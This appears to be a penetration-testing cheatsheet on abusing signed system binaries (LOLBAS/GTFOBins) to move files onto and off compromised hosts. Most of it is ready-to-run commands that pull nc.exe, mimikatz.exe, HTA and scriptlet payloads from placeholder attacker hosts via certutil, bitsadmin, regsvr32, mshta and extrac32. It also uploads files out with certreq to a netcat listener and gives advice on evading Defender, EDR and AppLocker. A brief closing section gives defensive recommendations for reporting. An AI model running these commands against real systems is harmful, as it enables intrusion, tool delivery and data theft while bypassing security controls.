πŸ›‘οΈ Methodology Checklist

  • certutil download: certutil -urlcache -split -f http://[LHOST]/[FILE] [FILE]
  • bitsadmin: bitsadmin /transfer job /download /priority high http://[LHOST]/[FILE] C:\[FILE]
  • Regsvr32 scriptlet: regsvr32 /s /n /u /i:http://[LHOST]/file.sct scrobj.dll
  • Mshta: mshta http://[LHOST]/payload.hta
  • Check if Windows Defender flags LOLBAS usage
  • Prefer certutil/BITS for stealthy downloads on older systems

🎯 Operational Context

Use when: Windows target with AppLocker or WDAC blocking unsigned binaries β€” use Microsoft-signed LOL binaries for file transfer that bypass application allowlisting. Think Dumber First: certutil -urlcache -split -f http://[LHOST]/file C:\Temp\file β€” signed by Microsoft, trusted by default AppLocker policies. bitsadmin as backup. Both are pre-installed on all Windows versions. Skip when: Target has WDAC rules specifically blocking certutil/bitsadmin network activity β€” pivot to PowerShell IWR or WebClient.


⚑ Tactical Cheatsheet

CommandTactical Outcome
certutil.exe -urlcache -split -f http://[TARGET_IP]/nc.exe nc.exeDownload via Certutil (high detection)
bitsadmin /transfer wcb /priority foreground http://[TARGET_IP]/nc.exe C:\Windows\Temp\nc.exeDownload via BITSAdmin (CMD)
Import-Module bitstransfer; Start-BitsTransfer -Source "http://[TARGET_IP]/nc.exe" -Destination "C:\Windows\Temp\nc.exe"Download via BITSAdmin (PowerShell)
extrac32 /Y /C \\[TARGET_IP]\share\nc.exe C:\Windows\Temp\nc.exeDownload via Extrac32 from SMB (HTTP blocked)
certreq.exe -Post -config http://[TARGET_IP]:8000/ c:\windows\win.iniUpload file via CertReq (nc listener on attacker)
GfxDownloadWrapper.exe "http://[TARGET_IP]/mimikatz.exe" "C:\Temp\mimikatz.exe"Download via Intel GPU driver binary
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pemGenerate cert for OpenSSL server (Linux)
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.shServe file via OpenSSL (encrypted, Linux attacker)
openssl s_client -connect [TARGET_IP]:80 -quiet > LinEnum.shReceive file via OpenSSL client (Linux victim)
sudo impacket-smbserver share . -smb2support -username [USER] -password [PASS]Setup SMB server for Extrac32 method
sudo nc -lvnp 8000Listener to catch CertReq POST upload

πŸ”¬ Deep Dive & Workflow

What is LOLBAS / GTFOBins?

Living Off The Land (LOL) uses pre-installed system binaries to perform attacker actions. This:

  • Bypasses basic application allowlists (AppLocker, WDAC)
  • Avoids dropping suspicious new binaries
  • Abuses β€œimplicit trust” in signed OS tools

Resources:

Windows LOLBAS Comparison

BinaryActionDetectionNotes
certutilDownloadVery High β€” Microsoft-CryptoAPI UA, monitored by EDRClassic; noisy
BITSAdminDownloadMediumBackground transfer; mimics Windows Update
Extrac32SMB DownloadLowUseful when HTTP blocked
CertReqUploadLow-MediumPOST request to listener
GfxDownloadWrapperDownloadVery LowIntel driver; rarely monitored

Certutil β€” Use Only as Last Resort

certutil.exe -urlcache -split -f http://[ATTACKER_IP]/nc.exe nc.exe

User-Agent: Microsoft-CryptoAPI/10.0 β€” trivially detectable. Switch to BITSAdmin or Extrac32 in monitored environments.

Extrac32 Workflow (HTTP Blocked, SMB Open)

# Attacker: setup authenticated SMB share
sudo impacket-smbserver share . -smb2support -username user -password pass
 
# Victim: use extrac32 to "extract" from SMB
extrac32 /Y /C \\[ATTACKER_IP]\share\nc.exe C:\Windows\Temp\nc.exe

OpenSSL File Transfer (Linux GTFOBins)

Creates an encrypted channel β€” useful when SSH is unavailable but OpenSSL is present:

# Attacker (serves file)
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
openssl s_server -quiet -accept 80 -cert cert.pem -key key.pem < /tmp/LinEnum.sh
 
# Victim (receives file)
openssl s_client -connect [ATTACKER_IP]:80 -quiet > LinEnum.sh

Exam Mental Model

  1. HTTP works? β†’ Skip LOLBAS, use standard methods
  2. HTTP filtered by UA? β†’ Spoof User-Agent (see Evasion)
  3. AppLocker blocks PS/exe? β†’ Try LOLBAS: BITSAdmin, Extrac32, GfxDownloadWrapper
  4. SMB blocked too? β†’ CertReq upload / OpenSSL tunnel

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
certutil flagged by DefenderNew Defender signatures for certutil downloadUse bitsadmin: bitsadmin /transfer job /download /priority high http://[LHOST]/f C:\Temp\f
bitsadmin not availableWindows 10 1803+ removed bitsadminUse BITS PowerShell: Start-BitsTransfer -Source http://[LHOST]/f -Destination C:\Temp\f
msiexec download failsMSI format requiredPackage payload as MSI: msfvenom -f msi -p ... > payload.msi
wmic /node: download rejectedWMI network query blockedTry: pcalua.exe -a http://[LHOST]/file or findstr /V doodoo http://[LHOST]/file > C:\Temp\file
AppLocker blocks script-based transferPublisher rulesUse data URLs or paste content via clipboard through RDP if interactive session available

πŸ“ Reporting Trigger

Finding Title: File Transfer via LOLBAS Bypasses Application Allowlisting Impact: Microsoft-signed LOL binaries (certutil, bitsadmin) are permitted by default AppLocker policies and enable file transfer without triggering application allowlisting controls, delivering attacker tools to protected endpoints. Root Cause: Application allowlisting configured to trust all Microsoft-signed binaries without restricting specific binary capabilities (network access for certutil). Recommendation: Implement WDAC rules explicitly restricting certutil and bitsadmin from network access. Monitor LOL binary child processes and network connections. Consider migrating to WDAC publisher rules with specific binary hash allowlisting.